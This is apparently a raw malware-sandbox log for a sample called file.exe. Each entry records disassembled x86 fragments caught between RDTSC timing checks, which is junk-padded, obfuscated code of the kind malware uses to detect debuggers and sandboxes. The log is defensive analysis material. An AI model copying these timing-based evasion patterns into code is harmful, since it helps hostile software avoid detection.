Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121CC46 second address: 121CC5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F76D8D6050Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121CDA4 second address: 121CDA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121CDA8 second address: 121CDBA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D6050Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121CFCC second address: 121CFE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D9274FFAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007F76D9274FFCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121CFE2 second address: 121D027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 mov dword ptr [ebp+1246CB08h], eax 0x0000000e push 00000004h 0x00000010 push 00000000h 0x00000012 push ecx 0x00000013 call 00007F76D8D60508h 0x00000018 pop ecx 0x00000019 mov dword ptr [esp+04h], ecx 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc ecx 0x00000026 push ecx 0x00000027 ret 0x00000028 pop ecx 0x00000029 ret 0x0000002a mov dword ptr [ebp+122D3AAEh], ecx 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 je 00007F76D8D60508h 0x00000039 push edx 0x0000003a pop edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121D027 second address: 121D02D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121D616 second address: 121D61D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121D851 second address: 121D88F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D9275001h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edi 0x0000000c jmp 00007F76D9275007h 0x00000011 pop edi 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push eax 0x00000017 push edx 0x00000018 jng 00007F76D9274FF8h 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121D936 second address: 121DA0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 jmp 00007F76D8D60519h 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F76D8D60508h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000014h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 movzx edi, si 0x0000002b or dword ptr [ebp+122D2E73h], ecx 0x00000031 lea eax, dword ptr [ebp+124911F7h] 0x00000037 mov cx, bx 0x0000003a call 00007F76D8D60519h 0x0000003f jmp 00007F76D8D6050Ah 0x00000044 pop ecx 0x00000045 push eax 0x00000046 pushad 0x00000047 jc 00007F76D8D6050Ch 0x0000004d jns 00007F76D8D60506h 0x00000053 push edx 0x00000054 jmp 00007F76D8D60510h 0x00000059 pop edx 0x0000005a popad 0x0000005b mov dword ptr [esp], eax 0x0000005e pushad 0x0000005f call 00007F76D8D60516h 0x00000064 cmc 0x00000065 pop edi 0x00000066 sub cx, A39Eh 0x0000006b popad 0x0000006c lea eax, dword ptr [ebp+124911B3h] 0x00000072 nop 0x00000073 push eax 0x00000074 push edx 0x00000075 jmp 00007F76D8D60515h 0x0000007a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121DA0B second address: 11FD577 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jno 00007F76D9275000h 0x0000000f nop 0x00000010 call dword ptr [ebp+122D1DB0h] 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FD577 second address: 11FD5B3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jc 00007F76D8D60506h 0x0000000f jmp 00007F76D8D60510h 0x00000014 pop ecx 0x00000015 pushad 0x00000016 js 00007F76D8D60506h 0x0000001c jmp 00007F76D8D6050Dh 0x00000021 jng 00007F76D8D60506h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FD5B3 second address: 11FD5BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124F1F7 second address: 124F201 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F76D8D60506h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124F201 second address: 124F207 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124F207 second address: 124F22D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F76D8D60520h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124F22D second address: 124F249 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F76D9275007h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124F249 second address: 124F272 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push esi 0x00000009 push eax 0x0000000a pop eax 0x0000000b jmp 00007F76D8D6050Fh 0x00000010 pop esi 0x00000011 push edi 0x00000012 jmp 00007F76D8D6050Bh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124F272 second address: 124F280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jo 00007F76D9274FF6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124F4BF second address: 124F4CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124F4CC second address: 124F4D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124F7ED second address: 124F832 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F76D8D60506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F76D8D6050Dh 0x0000000f pushad 0x00000010 jmp 00007F76D8D6050Ah 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a jo 00007F76D8D60508h 0x00000020 push ebx 0x00000021 pop ebx 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 push edx 0x00000026 jmp 00007F76D8D60511h 0x0000002b pop edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1259C46 second address: 1259C4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1259C4A second address: 1259C74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D60512h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F76D8D60512h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1259C74 second address: 1259CC7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 jng 00007F76D9274FF6h 0x0000000b pop ebx 0x0000000c push eax 0x0000000d jno 00007F76D9274FF6h 0x00000013 pop eax 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 jmp 00007F76D9275007h 0x0000001e ja 00007F76D9274FF6h 0x00000024 jmp 00007F76D9275006h 0x00000029 jne 00007F76D9274FF6h 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1259CC7 second address: 1259CCE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1259CCE second address: 1259CD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1259CD7 second address: 1259CDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1258936 second address: 125893A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1258BE9 second address: 1258BF4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1258BF4 second address: 1258BFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1258BFC second address: 1258C01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1258C01 second address: 1258C1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F76D9275005h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1258C1A second address: 1258C1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1258C1E second address: 1258C24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1258C24 second address: 1258C2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12585FD second address: 1258648 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F76D9275004h 0x00000008 jmp 00007F76D9275007h 0x0000000d pop esi 0x0000000e pushad 0x0000000f jmp 00007F76D9275009h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1258648 second address: 125864E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125939D second address: 12593A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jne 00007F76D9274FF6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125953B second address: 1259564 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76D8D60518h 0x00000009 jne 00007F76D8D60508h 0x0000000f push eax 0x00000010 pop eax 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12596CC second address: 12596E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007F76D9275002h 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12596E9 second address: 12596ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125DF4D second address: 125DF51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125E0CC second address: 125E0D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125E0D9 second address: 125E0DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125E0DF second address: 125E0E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125E0E5 second address: 125E0EA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125E211 second address: 125E216 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125E38B second address: 125E391 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125E391 second address: 125E3A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jnl 00007F76D8D60506h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125EAB3 second address: 125EAB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125EDED second address: 125EDF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1262664 second address: 126266E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F76D9274FF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126266E second address: 126267C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D6050Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261F12 second address: 1261F39 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F76D9274FF6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F76D9275002h 0x00000011 push edi 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 pop edi 0x00000017 push edi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1268657 second address: 126868E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jno 00007F76D8D60506h 0x00000011 jmp 00007F76D8D60515h 0x00000016 popad 0x00000017 jmp 00007F76D8D60510h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1267FE2 second address: 1267FE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1267FE6 second address: 1267FEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1267FEA second address: 1267FF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126E0F6 second address: 126E0FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126E0FF second address: 126E105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126E105 second address: 126E10F instructions: 0x00000000 rdtsc 0x00000002 js 00007F76D8D60506h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126E10F second address: 126E115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126E115 second address: 126E127 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F76D8D60508h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126E127 second address: 126E13B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jbe 00007F76D9274FF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jbe 00007F76D9274FFCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126E13B second address: 126E13F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126C8C6 second address: 126C8F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F76D9275009h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F76D9275000h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126CA88 second address: 126CA8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126CA8E second address: 126CA92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126CC23 second address: 126CC33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F76D8D60506h 0x0000000a jne 00007F76D8D60506h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126CC33 second address: 126CC37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126CED7 second address: 126CEF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76D8D60517h 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126CEF3 second address: 126CEF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126CEF9 second address: 126CF19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D60512h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pushad 0x00000011 popad 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121D2D2 second address: 121D2D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126D334 second address: 126D346 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76D8D6050Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126D346 second address: 126D368 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F76D9275009h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126D368 second address: 126D38E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jno 00007F76D8D60506h 0x0000000f jmp 00007F76D8D60515h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126D38E second address: 126D397 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126D397 second address: 126D39B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126D39B second address: 126D3A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127114D second address: 1271153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1271153 second address: 1271157 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12712AB second address: 12712B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12712B3 second address: 12712C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F76D9274FF6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12712C3 second address: 12712DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 jmp 00007F76D8D6050Eh 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12712DF second address: 12712E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12712E3 second address: 12712EB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1271419 second address: 1271422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1271422 second address: 1271426 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1271426 second address: 1271435 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D9274FFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1271435 second address: 1271460 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D60510h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F76D8D60515h 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1271460 second address: 127146D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
